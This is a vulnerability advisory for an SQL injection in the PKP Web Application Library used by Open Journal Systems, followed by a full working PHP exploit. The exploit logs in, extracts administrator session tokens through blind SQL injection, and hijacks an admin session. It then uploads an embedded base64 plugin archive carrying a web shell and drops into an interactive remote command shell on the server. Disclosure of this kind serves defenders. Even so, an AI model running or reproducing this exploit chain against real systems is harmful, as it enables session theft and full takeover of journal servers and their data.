---------------------------------------------------------------------- PKP-WAL <= 3.5.0-1 (Institution Collector) SQL Injection Vulnerability ---------------------------------------------------------------------- [-] Software Links: https://pkp.sfu.ca https://github.com/pkp/pkp-lib [-] Affected Versions: PKP Web Application Library (aka PKP-WAL or pkp-lib) version 3.4.0-9 and prior versions, and version 3.5.0-1 and prior versions, as used in Open Journal Systems (OJS), Open Monograph Press (OMP), and Open Preprint Systems (OPS). [-] Vulnerability Description: The vulnerability is located in the /classes/institution/Collector.php script. Specifically, into the Collector::getQueryBuilder() method, where user input passed through the "searchPhrase" GET parameter is not properly sanitized before being used to construct a SQL query at lines 143 and 148 by leveraging the DB::raw() method. This can be exploited by malicious users to e.g. read sensitive data from the database through boolean-based or time-based SQL Injection attacks. Successful exploitation of this vulnerability requires an account with permissions to access the .../api/v1/institutions API endpoint, such as a "Journal Editor" or "Production Editor" user account on OJS. [-] Proof of Concept: https://karmainsecurity.com/pocs/CVE-2025-67889.php [-] Solution: Upgrade to versions 3.4.0-10, 3.5.0-2, or later. [-] Disclosure Timeline: [25/10/2025] - Vendor notified [26/10/2025] - Vendor fixed the issue and opened a public GitHub issue: https://github.com/pkp/pkp-lib/issues/11977 [12/11/2025] - CVE identifier requested [18/11/2025] - Version 3.4.0-10 released [12/12/2025] - CVE identifier assigned [29/11/2025] - Version 3.5.0-2 released [23/12/2025] - Publication of this advisory [-] CVE Reference: The Common Vulnerabilities and Exposures program (cve.org) has assigned the name CVE-2025-67889 to this vulnerability. [-] Credits: Vulnerability discovered by Egidio Romano. [-] Original Advisory: http://karmainsecurity.com/KIS-2025-10 --- packet storm added poc --- \n\n"); function sql_injection($sql) { global $ch, $url; curl_setopt($ch, CURLOPT_POST, false); $sql = str_replace(" ", "/**/", $sql); $min = true; $idx = 1; while (1) { $test = 256; for ($i = 7; $i >= 0; $i--) { $test = $min ? $test - pow(2, $i) : $test + pow(2, $i); $sqli = rawurlencode("')))OR(1)RLIKE(IF(ORD(SUBSTR(({$sql}),{$idx},1))<{$test},0x28,1))#"); curl_setopt($ch, CURLOPT_URL, "{$url}api/v1/institutions?searchPhrase={$sqli}"); $min = preg_match("/Internal Server Error/i", curl_exec($ch)); } if (($chr = $min ? $test - 1 : $test) == 0 or $chr == 255) break; $data .= chr($chr); $min = true; $idx++; print "\r[*] Token: {$data}"; } return $data; } $url = $argv[1]; $usr = $argv[2]; $pwd = $argv[3]; $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); //curl_setopt($ch, CURLOPT_PROXY, "http://127.0.0.1:8080"); print "[+] Performing login with username '{$usr}' and password '{$pwd}'\n"; curl_setopt($ch, CURLOPT_URL, "{$url}login/signIn"); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(["username" => $usr, "password" => $pwd])); $login = curl_exec($ch); if (!preg_match('/302 Found/i', $login)) die("[-] Login failed!\n"); if (!preg_match_all('/Cookie: .*SID=([^;]+)/i', $login, $cookie)) die("[-] Session ID not found!\n"); $sess_cookie = (count($cookie[0]) == 2) ? $cookie[0][1] : $cookie[0][0]; curl_setopt($ch, CURLOPT_HTTPHEADER, [$sess_cookie]); $ch2 = curl_init(); curl_setopt($ch2, CURLOPT_URL, $url.'../../dbscripts/xml/version.xml'); curl_setopt($ch2, CURLOPT_HEADER, true); curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch2, CURLOPT_SSL_VERIFYHOST, false); //curl_setopt($ch2, CURLOPT_PROXY, "http://127.0.0.1:8080"); print "[+] Checking app version\n"; if (preg_match('/3_5_0/', curl_exec($ch2))) { print "[-] Version is 3.5.0.x\n"; $sub_query = "SELECT 1 a, 2 b, 3 c, 4 d, 5 e, 6 f UNION SELECT * FROM sessions"; } else { print "[-] Version is < 3.5.0\n"; $sub_query = "SELECT 1 a, 2 b, 3 c, 4 d, 5 e, 6 f, 7 g, 8 h, 9 i UNION SELECT * FROM sessions"; } print "[+] Checking admin session tokens\n"; $index = 0; $found = false; curl_setopt($ch2, CURLOPT_URL, $url.'$$$call$$$/grid/settings/plugins/settings-plugin-grid/upload-plugin'); while (!$found) { print "\n[+] Fetching token number ".($index+1)."\n"; $sid = sql_injection("SELECT a FROM ({$sub_query}) x WHERE a!=1 AND b=1 ORDER BY a ASC LIMIT {$index},1"); if (!strlen($sid)) die(($index == 0) ? "[-] No admin tokens found! :(\n" : "[-] No more tokens! :(\n"); curl_setopt($ch2, CURLOPT_HTTPHEADER, [substr($sess_cookie, 0, -strlen($sid)) . $sid]); if (preg_match('/"csrfToken\\\\" value=\\\\"([^\\\\]+)/', curl_exec($ch2), $csrf)) $found = true; else { print "\n[+] Not a valid token\n"; $index++; } } print "\n[+] Admin session token valid!\n\n[+] Uploading malicious plugin\n"; $pluginName = "backup-v2_0_5-0.tar.gz"; @file_put_contents($pluginName, base64_decode("H4sICBzk/2gAA2JhY2t1cC12Ml8wXzUtMC50YXIA7Zb7b9MwEMf7K/krTDWpncQSJ80D0awTbOUhBFRrmTQxVKWJSa15jhU7sIL2v3N5lHXTYAOtGyB/FMnN3eV8fnxdz6L4uBBWa51gjAOMUdX6XtVix63bGtSyPYz9APs48FrY9noe+L21VtVQSBXlUMpxRBWjnJMvMuN/kGc5kGX7F3A+p+6F+V1lVq+/nBPGTDEX66ijnBDfd8vWDjy82lbYjlPWFwTwA3vl+ju+57cQXkcxl1muP0np6a/irvP/o4Q7sOhI5JQr1JkCnT4SkZRqnhfdWSSJ704TEmcJ6W5Mx8P9g+H+h87LyWQ03e183NzsX/p0Z2Dc94g0v0Oj/88klzTj5ukJu/0+Kv27P9e/67m1/gMfDqge6L/n+I7W/10Q7sCSo2b5t9u2iduIcNA75el2+/3k+dbjNog6fLj3bndyOBouQ9H4cDwZvkFt07Tqh9GZJY6FlajEEqxIKT9oNhVY2pCi+XJgPAgjIRiNI1W+1jswtFZtEKIWggzqPNJMCSc5jUOrsoI3J4zA4TRwTGx6Jg6tpQF8SaTAgR1vC8MThFZlAAeLvi62WBYlAzu0zl/AEzM48gbPqkpGVZ+hVduM0PpR932v1Tpo9L869Fu/Blyn/8AJlvq3ezbE2S7cALX+74Lq/98weHRCpIhigp6ORkeN7I4a2R3Vm6RvGIUkaPT6POBFHVDvG/BXmkGrmwmRU0V4ItGFUOObgQBRzEDy6FPB41L2KIdJlork3Q04B0ia5YtHaENEag7NSUT5bsYV5HuVoG3EC8Y2n6BZlrEqV52xJCeqyDlSeUH6lfHMuLK3lKg9KgWLFm9h9F1IJhVcZtKr03WqK3Ln2oxExjkV5ettZKRyTBWpJ6174+Ge/ZdHlUaj0Wg0Go1Go9FoNBqNRqPRaDQajeYGfAcGciK9ACgAAA==")); curl_setopt($ch2, CURLOPT_URL, $url.'$$$call$$$/grid/settings/plugins/settings-plugin-grid/upload-plugin-file?function=upload'); curl_setopt($ch2, CURLOPT_POSTFIELDS, ["name" => $pluginName, "uploadedFile" => new CURLFile($pluginName)]); if (!preg_match('/"temporaryFileId":(\d+)/', curl_exec($ch2), $fileId)) die("[-] Upload failed!\n"); print "[+] Saving malicious plugin\n"; curl_setopt($ch2, CURLOPT_URL, $url.'$$$call$$$/grid/settings/plugins/settings-plugin-grid/save-upload-plugin?function=upload'); curl_setopt($ch2, CURLOPT_POSTFIELDS, http_build_query(["temporaryFileId" => $fileId[1], "csrfToken" => $csrf[1]])); if (!preg_match('/"status":true/', curl_exec($ch2))) die("[-] Saving failed!\n"); print "[+] Launching shell\n"; curl_setopt($ch, CURLOPT_URL, "{$url}../../plugins/generic/backup/shell.php"); curl_setopt($ch, CURLOPT_POST, false); while(1) { print "\npkp-shell# "; if (($cmd = trim(fgets(STDIN))) == "exit") break; curl_setopt($ch, CURLOPT_HTTPHEADER, ["C: ".base64_encode($cmd)]); preg_match('/____(.*)____/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n"); }